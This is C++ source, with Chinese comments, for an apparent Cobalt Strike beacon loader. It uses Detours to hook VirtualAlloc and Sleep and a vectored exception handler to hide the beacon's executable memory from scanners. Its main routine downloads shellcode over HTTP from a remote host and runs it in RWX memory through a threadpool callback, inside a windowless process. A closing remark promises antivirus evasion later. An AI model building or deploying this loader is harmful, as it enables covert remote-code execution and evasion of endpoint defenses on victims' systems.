#include
#include
#include
#include
#include "detours.h"
#include "detver.h"
#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
using namespace std;
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
//Hook VirtualAlloc函数的原因是我们需要知道Beacon在自展开时分配的可执行内存起始地址和大小是多少好在后面对这块内存取消X属性以免被扫描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大小:%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
//Hool Sleep函数是因为我们需要在Beacon进入Sleep后立马取消Beacon内存区域的X属性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep时间:%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重复HOOK,恢复原来HOOK
DetourTransactionBegin(); // 开始HOOK
DetourUpdateThread(GetCurrentThread()); //刷新当前线程
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //将拦截的函数附加到原函数的地址上,这里可以拦截多个函数 NewVirtualAlloc
DetourAttach((PVOID*)&OldSleep, NewSleep); //将拦截的函数附加到原函数的地址上, 这里可以拦截多个函数 NewSleep
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin(); //恢复原来HOOK
DetourUpdateThread(GetCurrentThread()); //刷新当前线程
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //解除hook
DetourTransactionCommit(); //提交
}
//设置VEH异常处理函数,用来在因内存X属性取消后触发异常时恢复X属性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("异常错误码:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
printf("线程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip)) //判断异常错误码是否等于0xc0000005,并且调用is_Exception函数来判断pExcepInfo->ContextRecord->Rip是否符合某个条件。pExcepInfo 是一个指向异常信息结构体 EXCEPINFO 的指针,用于存储关于异常的详细信息,ContextRecord 是 EXCEPTION_RECORD 结构体的一个成员,它是一个指向上下文记录的指针,其中包含有关引发异常的线程的上下文信息
{
printf("恢复Beacon内存属性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect); //恢复beacon内存属性
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
int main() {
unsigned char buf[] = "shellcode";
void* exec;
int payload_len = 280000; //shellcode大小
wchar_t host[] = L"xx.xx.xx.xx"; //远程下载的主机的ip
WORD port = 8000; //端口
wchar_t path[] = L"/beacon811.bin"; //对应的文件
HINTERNET session;
HINTERNET conn;
HINTERNET reqfile;
DWORD nread;
exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存
//使用默认设置创建会话
session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//连接到目标主机
conn = InternetConnect(session, host, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);
//创建请求
reqfile = HttpOpenRequest(conn, L"GET", path, NULL, NULL, NULL, 0, 0);
//发送请求并读取响应
HttpSendRequest(reqfile, NULL, 0, 0, 0);
InternetReadFile(reqfile, exec, payload_len, &nread);
std::string Content(reinterpret_cast<const char*>(exec), nread);
/*
* VirtualProtect是Windows API,用于修改内存访问权限
* 参数1:指向内存的指针
* 参数2:内存大小(以字节为单位)
* 参数3:新的访问权限
* 参数4:用于接收修改前的访问权限,NULL表示不需要接受(但是会出错)
*/
DWORD oldProtect;
VirtualProtect((LPVOID)Content.c_str(), Content.size(), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
/*
* CreateEvent是Windows API,用于创建一个事件对象
* 参数1:安全属性,NULL表示默认
* 参数2:是否手动复位
* 参数3:TRUE表示事件对象的初始状态为有信号状态,否则为无信号状态
* 参数4:事件名称,NULL表示不使用名称
*/
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
/*
* CreateThreadpoolWait是Windows API,用于创建一个线程池等待对象
* 参数1:回调函数指针
* 参数2:回调函数参数
* 参数3:线程池回调环境
*/
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)Content.c_str(), NULL, NULL);
/*
* SetThreadpoolWait是Windows API,用于向线程池中添加等待对象
* 参数1:线程池等待对象
* 参数2:要等待的内核对象句柄
* 参数3:等待超时时间,NULL表示无限等待
*/
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
return 0;
}
这个先不做免杀,之后补充